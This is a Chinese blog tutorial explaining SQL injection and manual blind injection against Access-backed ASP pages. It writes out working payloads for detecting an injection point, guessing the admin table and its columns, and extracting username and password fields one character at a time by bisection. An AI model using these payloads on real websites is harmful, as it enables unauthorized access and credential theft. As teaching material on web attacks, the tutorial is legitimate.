博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
SQL注入原理 手工注入access数据库
阅读量:7116 次
发布时间:2019-06-28

本文共 692 字,大约阅读时间需要 2 分钟。

SQL注入原理 手工注入access数据库

SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的。

1.判断网站是否有注入点。

  在以asp?id=xx(任意数字)结尾的连接依次添加:

  • '
  • 1=1
  • 1=2

  若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。

2.猜解表名

  在链接末尾添加语句:

and exists(select * from admin)

  若存在表名为admin的表,则上述式返回true,即页面正常显示。

3.猜解列名

  在链接末尾添加语句:

and exists(select admin from admin)

  若admin表中存在名为admin的列,则上述式返回true,即页面正常显示。

  同理,检测表中是否存在名为password的列。

4.猜测字段内容

  • 首先猜测字段长度,在链接末尾添加语句:
and (select top 1 len(admin) from admin)>n

  若页面正常显示,则字段长度大于n。

  • 用同样的方法,猜测第一条记录的第一个字符,在链接末尾添加语句:
and (select top 1 asc(mid(admin,1,1)) from admin)>c

  若页面正常显示,则第一条记录的第一个字符的ASCII码大于c。

  • 同理,可以用二分法快速求得admin字段内容和password字段内容。

转载于:https://www.cnblogs.com/barrier/p/6794411.html

你可能感兴趣的文章
使用Bootstrap3和Ladda UI实现的多种按钮“加载中”效果体验
查看>>
[译]MVC网站教程(三):动态布局和站点管理
查看>>
CSS侧边栏宽度不动(更改页面宽度时),内容区宽度自适应
查看>>
传统媒体:广告都去哪儿了?
查看>>
排列生成算法注意事项
查看>>
Java核心知识点学习----多线程 倒计时记数器CountDownLatch和数据交换的Exchanger
查看>>
那些最好的轮子 - PHP篇
查看>>
采用Unity快速开发高质量游戏的若干优化建议
查看>>
10 001st prime number
查看>>
C#-MessageBox全部函数重载形式及举例
查看>>
滑板控制器
查看>>
oracle中LAG()和LEAD()等分析统计函数的使用方法(统计月增长率)
查看>>
hibernate建表 一对多 多的一方控制一的一方
查看>>
OpenCL 获取Program信息
查看>>
用jinja做了个E-Letter小项目
查看>>
Java与.NET DES加密解密互转
查看>>
ExternalInterface的简单使用方法
查看>>
iOS开发之微信聊天工具栏的封装
查看>>
Jquery 延迟加载框架
查看>>
Dijkstra算法
查看>>